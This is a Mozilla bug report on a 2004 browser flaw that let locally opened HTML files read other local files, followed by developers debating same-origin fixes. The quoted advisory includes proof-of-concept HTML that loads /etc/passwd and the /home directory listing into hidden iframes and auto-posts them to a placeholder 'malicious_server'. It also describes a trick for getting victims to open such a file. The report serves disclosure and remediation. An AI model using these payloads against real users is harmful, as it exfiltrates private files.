Closed Bug 273419 Opened 20 years ago Closed 19 years ago

Disclosure of local file content to locally opened HTML files

Categories

(Core :: Security, defect)

defect
Not set
major

Tracking

()

RESOLVED DUPLICATE of bug 230606

People

(Reporter: dveditz, Assigned: dveditz)

References

Details

(Whiteboard: [sg:fix])

Summary is the subject of a message on the Full-Disclosure security mailing list posted by Giovanni Delvecchio (badpenguin at zone-h dot org). - - - - - - - - - - - - Disclosure of local file content in Mozilla Firefox and Opera Note: I don't know if it could be considered really a security problem, anyway i'll try to explain my ideas. Sorry for my bad english. Author: Giovanni Delvecchio Applications affected: - Firefox 1.0 - Mozilla 1.7 - Opera 7.54 (*) ( maybe also previous versions ) Tested versions: - Firefox 1.0 on Linux and Windows - Mozilla 1.7 on Windows - Opera 7.51,..7.54 on Linux Note: The content of the following text could be applied also to other browsers, i have checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer. Microsoft Internet Explorer seems not to be affected. Description: =========== A possible problem exist in some browsers where a frame can gain access to attributes of another frame or iframe. An application of this "bug?" could be the possibility to disclose local directory structure. Moreover ther is is a possibility for a remote users to get the content of target users's local files. This can be achieved by using of the method .innerHTML , such method isn't standard but it's supported from the most broswers like Opera and Mozila Firefox. With Opera, i have noted that is possible read the content of local file just if they have *.htm or *.hml extension. PoC: === The following PoCs are refered to linux versions of Firefox and Opera, but they can be applied also to Windows versions. Read a local file by inner.HTML method: -------------------------------------------------------- <HTML> <BODY onLoad="ReadFileContent()" > <iframe name="local_file" src="file:///etc/passwd" height=0 width=0></iframe> <form name="module" method="post" action="http://malicious_server/grab.php" ENCTYPE="text/plain"> <input name="content" type="hidden" size="300" > </form> <script> function ReadFileContent(){ alert(local_file.document.all(0).innerHTML); document.module.content.value+=local_file.document.all(0).innerHTML; //send content to malicious_server document.module.submit(); } </script> </body> </html> (*) it works with Firefox with Opera it works just a file has .htm or html extension. ----------------------------------------------------------- Enum /home directory structure: ---------------------------------------- <html> <body onLoad=" for(i=0;i<local_files.document.links.length;i++) {document.module.content.value+=local_files.document.links.item(i);} alert(document.module.content.value); //send list_files at malicious_server document.module.submit(); "> <form name="module" method="post" action="http://malicious_server/grab.php" ENCTYPE="text/plain"> <input name="content" type="hidden" size="300" > </form> <iframe name="local_files" src="file:///home/" height=0 width=0></iframe> </body> </html> ------------------------------------------- Impact: ====== A malicious server could : - obtain content of /home/ directory ( or c:\Document and Setting\ for windows system ) and so know a set of usernames present on system target. - know if a particolar program is installed on target system for a succesive attack. - Read confidential file content - Read browser's cache In opera it is located in ~/.opera/cache4, instead in Mozilla Firefox it's in /.mozilla/firefox/$RANDOM-STRING.default/Cache. Since is possible enum the directory structure , a malicious user could easily know the path to firefox's cache Anyway it cannot be exploited "directly" by a remote site, but only if the page is opened from a local path ( file://localpath/code.htm), since the iframe belongs to a local domain. Note: with Internet Explorer these PoCs doesn't work even in local. Possible method of remote exploitation: ================================ Question: How could a malicious remote user exploit it ? My idea is the following: After that the user "victim" has required http://maliciuos_server/page.htm, if malicious_server responds with a page containing an unknown Content-Type field ( for example text/html. ,note the dot) ,the browser will show a dialog window with some options (open, save, cancel). Choosing "Open" to view this page, it will be downloaded and opened in local ; javascript code will be executed in local context. Obviously, if user chooses to save and after open it the result is equal. (*) For Opera this method of remote exploitation requires that opera must be setted as Default Application in "handler for saved files" whether the user choose "Open" in the dialog window. Another possible remote exploitation suggest by Lie Die Yu in response to a my message on bugtraq ( http://www.securityfocus.com/archive/1/382855/2004-11-30/2004-12-06/0 ) : "Ask target to open an HTML file in a remote SMBFS folder - expecting him to mount -t smbfs [...] /mnt/[...] and open "/mnt/[...].html" in Mozilla " Vendor notice ============== 24th November 2004: I have contacted mozilla by security-at-mozilla.org and Opera by its bug track page at https://bugs.opera.com/wizard/ No response from both at the moment. Solution ======== - Disable Javascript Note: I have not checked, but seems that Firefox 1.0 RC1 is not affected. [dveditz note: this is because document.all was not supported, but the script can be rewritten using DOM standard document.firstChild]
Whiteboard: [sg:fix]
Group: security
Blocks: sbb?
so.. this is the standard thing about all file:/// uris being considered part of the same security context. Jesse has existing bugs on this, as I recall.
Dup of bug 230606?
At least dependent.
Depends on: 230606
*** Bug 273502 has been marked as a duplicate of this bug. ***
The problem is that Mozila use the mime-type for served by http documents but it does use the extension for opening local files. Disable the "open with" option if the application is Mozilla itself. This would move the "who is to blame" around to the user because he has to go through the OS Filemanager to open it.
> The problem is that Mozila use the mime-type for served by http documents but > it does use the extension for opening local files. I don't understand. > Disable the "open with" option if the application is Mozilla itself. That wouldn't help much. The default application for .html be another web browser. > This would move the "who is to blame" around to the user because he has to go > through the OS Filemanager to open it. I disagree. I would not blame a user for not knowing that opening an untrusted local .html is dangerous. It should not be dangerous -- that's why I filed bug 230606.
A simple workaround would be to act like Internet Explorer SP2. Disallow scripting and applets in what they call "the local machine" zone. For instance, if a page on the local computer tries to run a script, display a dialog box like ------------------Security Warning----------------- | The file you are trying to view contains active | | content who could read the contents of files on | | your computer. | | | | You should only allow this content to run if | | trust the author of the file. | | | | [ ] Never ask me again. | | | | [Allow] [Deny] | ---------------------------------------------------
Blocks: sg-ff101
Internet Explorer SP2 makes it difficult to develop web pages locally, even when the page is entirely self-contained, because it disables scripts entirely. Furthermore, enabling scripts in a local page gives them abilities they should not have. It would be better to restrict the same-origin policy for local files. If that causes problems for many web developers (I don't think it will), Firefox can show a warning similar to IE's if the page tries to violate the new same-origin policy by reading another local file.
Blocks: sbb-, sg-moz176
No longer blocks: sbb?
Flags: blocking1.8b?
Flags: blocking-aviary1.1?
> Anyway it cannot be exploited "directly" by a remote site, but only if the > page is opened from a local path Adding that to summary
Summary: Disclosure of local file content in Mozilla Firefox and Opera → Disclosure of local file content to locally opened HTML files
Flags: blocking1.8b?
Flags: blocking1.8b+
Flags: blocking-aviary1.1?
Flags: blocking-aviary1.1+
Jesse, imo (may or may not be worthy for this bug) this dialog should only show if someone needs to READ the contents of another local file, via scripting for example as in this bug, or via an IFRAME (perhaps) etc. Simply including/changing a <image> or <object> src itself should not have any blockage on it, if the callee is local system. /me removes any sense of a developer and notes that he has no experience in developing security policies just for the record.
Flags: blocking-aviary1.0.1?
fix would need testing on the trunk. -minus for 1.0.1
Flags: blocking-aviary1.0.1? → blocking-aviary1.0.1-
Mozilla would be free to implement whatever security checks seemed easy or reasonable if most web developers never put absolute URLs in their local HTML in the first place. That would make this bug fix straightforward. Web developers create local files with absolute URLs mostly because they need to test form submission out before they publish their sites. If Mozilla could submit forms locally when the HTML is local and URLs are relative, then web developers could test out their form submission without having to hack absolute URLs into their locally stored files in the first place. That is a sanity increase for web developers. To implement this, have trivial local form-submission support that just logs the form data to a log file and replies with an HTTP 204. More completely, add a config option enabling client-side CGI (bug 68702) through the local ./cgi-bin, or whatever. Enable it only when the origin is local disk. - N.
(In reply to comment #9) > > Anyway it cannot be exploited "directly" by a remote site, but only if the > > page is opened from a local path > > Adding that to summary My target was explain how a remote user could take advantage by some feature for read local file, using a Content-Type "spoofing" to trick the user to open an html page. I think that this could represent a security/privacy problem for the 80% of users. In your opinion how many people would choose "Open" when a dialog window is showed to view an html page? I think at least 80 % ( and maybe more ;) ) Note that i have made some test with several browsers and just with Mozilla Firefox and Opera* has been possible have a successful "exploitation". I think that at least a window with a warning for the user would be usefull. Best Regards, Giovanni Delvecchio.
moving blocking status to beta2, assuming this is still on our important to fix list.
Flags: blocking1.8b+ → blocking1.8b2+
I think we had a big discussion about this somewhere but I can't remember how it ended. Seems to me we could make a huge dent in this problem by doing two things: -- Modify our "Save As" code to emit metadata indicating those HTML files should be in a sandbox. -- Detect when content is on a remote filesystem and sandbox it by filesystem.
I don't think roc's solution is the right one. There are plenty of other ways for .html files to get on the user's hard drive, including: * URLs with "content-disposition: attachment" and an .html extension. * Attachments from e-mail programs other than Thunderbird. * Files sent over AIM. * HTML files included in illegal torrents of music CDs. * Zip archives from the web or from e-mail. As a result, roc's solution would make our message to users *more* complicated than it is now. The current message is "Opening local HTML files is not safe". With roc's change, the message will be "Opening local HTML files is not safe, unless you saved them with Firefox". In contrast, tightening the same-origin policy for local files would eliminate the need for this message. (There could be an information bar if a file attempts to violate the same-origin policy, with UI to override.)
I think roc's point is a very weak security regime, because it allows the user or apps that share user files to compromise Mozilla security merely by specifying the right data. At least other, equivalent attacks (say on user_prefs.js) can be locked out by a network admin. Not so for arbitrarily named files. I've been doing cross browser DHTML testing lately, and have a renewed appreciation of how poorly IE supports web developers, including its information bars for local files. The IE information bar is highly annoying, but I'm too busy analysing micro-iterations of my page to ever spend time getting rid of it permanently. So effectively I'm stuck with it. I observed this behavior in other web developers too. My take-away is that we should resist smacking web developers in the face with bars that they don't want to interact with at all. I also spent some time trying to shoot comment 12 down. All I managed to do was see that "local submits" also support automated testing. The message that local submits gives to users is "Opening local files is safe" - since Jesse's info bar will pop up ifany submit target's a remote website. The message local submits gives to web developers is: "Opening local files 'just works' if you use relative urls". Where's the downside? - N.
I don't understand the third paragraph of Nigel's comment 17. Forcing forms in local pages to "submit locally", whatever that means, wouldn't prevent local pages from using or communicating information about local files in other ways. Fixing the same-origin policy would be easier and would break fewer pages than trying to prevent local pages from communicating information to the outside world.
(local submit means putting a CGI gateway or similar inside Mozilla) I'm not suggesting local submits are a security tactic. My suggestion is about reducing the number of warnings that need to be thrown up IF we improve security. I'm in favour of enforcing "same origin" with a warning dialog box or an information bar at all times. My point is that there's a corner case where we can avoid upsetting developers and still make users safer. It is when you have: a) a HTML file on local disk b) with a form in it c) that submits to a relative URL. Here's an example. Try submitting after loading this /tmp/test.html: <html><body> <form method="get" action="foo.cgi">...<input type="submit"></form> </body></html> Normally this combination throws up an alert if you submit - 'foo.cgi not found'. Now, if you also create a /tmp/foo.cgi, and then submit again, foo.cgi is just returned as plain text without being run thru CGI. Web developers know this, so they replace "foo.cgi" in the page with "http://example.com/foo.cgi", in order to get real CGI. They change a relative URL to an absolute one for the sole reason that they would like to test the local copy of their page. With same-origin enforced for local disk, that will mean an extra warning for web developers, ala IE, since the page and the CGI resource are different origins. That's a security improvement, but no improvement for web developers. In fact it's worse than what they have today. Nevertheless, I support adding this extra warning in this case, for the security reasons cited by this bug. However, if the original "foo.cgi" actually WAS called as a CGI (local submit), then the page and submit are happily all in the same origin (local disk). Web devs wouldn't have to hack in "http://example.com/foo.cgi" in order to test page submission (because local submit works for relative URLs) AND they wouldn't get ANY warning dialog, neither old or new. It's a smoother development experience, with no irritations, and better than today's arrangements. With local submits, end-users still have the better protection afforded by new warnings. If anyone persuades them to save an HTML document to local disk, and then load it, and then submit its form, they either get a warning (absolute URL in form = different orgin), or their data stays local (relative URL in form = local submit). In the local submit case, effectively nothing happens, which is safe. Hope that's clearer. If this suggestion were to be taken up, then X% of the imaginable test cases for a final fix would cause a warning, and the other (100-X)% cases would silently cause local submits in order to support web developers. - N.
IE's solution is here: http://msdn.microsoft.com/workshop/author/dhtml/overview/motw.asp This is the same as the first half of comment #15, and in IE I think this is a poorly thought-out solution. To break it, just catch a virus that scans local .htm files and removes this metadata. IE's security is then blown. If Mozilla relied on metadata, our security would be blown by that virus as well. Better to have security inside the Mozilla binary. The idea of "MOTW" is also a piece of Microsoft marketing rhetoric designed to make the web look unsafe next to Windows. Let's not participate in that. - N.
(In reply to comment #20) > This is the same as the first half of comment #15, and in IE I think > this is a poorly thought-out solution. To break it, just catch a virus > that scans local .htm files and removes this metadata. If there's a virus running on your system, it can already do whatever it wants, including download and run arbitrary code, so I don't understand why this should be considerd a vulnerability in the metadata approach.
roc, you're quite right, but should Mozilla be a domino that falls automatically when the IE domino falls? I think the metadata approach is particularly easy for a script kiddie to exploit. We don't mark the individual resources in other URL schemes with security info, so why should we make an exception for file: when same origin can do the job. Is there a use-case that same-origin doesn't cover? - N.
(In reply to comment #22) > roc, you're quite right, but should Mozilla be a domino that falls > automatically when the IE domino falls? I think the metadata > approach is particularly easy for a script kiddie to exploit. Once an attacker is running arbitrary code on your system, all dominos have fallen. They could, for example, reconfigure Mozilla (or IE) so that all sites are fully trusted. It is futile to try to protect the user from the effects of a full system compromise. [Okay there's still a distinction between "running arbitrary code as user" and "able to run arbitrary code as root/Administrator" but that's not in view here.] > We don't mark the individual resources in other URL schemes with > security info, so why should we make an exception for file: when > same origin can do the job. Is there a use-case that same-origin > doesn't cover? The problem is that we don't have a reasonable same-origin policy for file: sources.
speculated on a solution in n.p.m.security: <d3q1r3$1aj2@ripley.netscape.com> - N.
Dan, It's not clear to me that this is something that we need to, or are likely to fix for 1.8b3. Please reset the blocking+ flag if it still is.
Flags: blocking1.8b2?
Flags: blocking1.8b2+
Flags: blocking-aviary1.1?
Flags: blocking-aviary1.1+
Flags: blocking1.8b2? → blocking1.8b2-
Flags: blocking-aviary1.1? → blocking1.8b4?
Flags: blocking1.8b4? → blocking1.8b4-
*** This bug has been marked as a duplicate of 230606 ***
Status: NEW → RESOLVED
Closed: 19 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.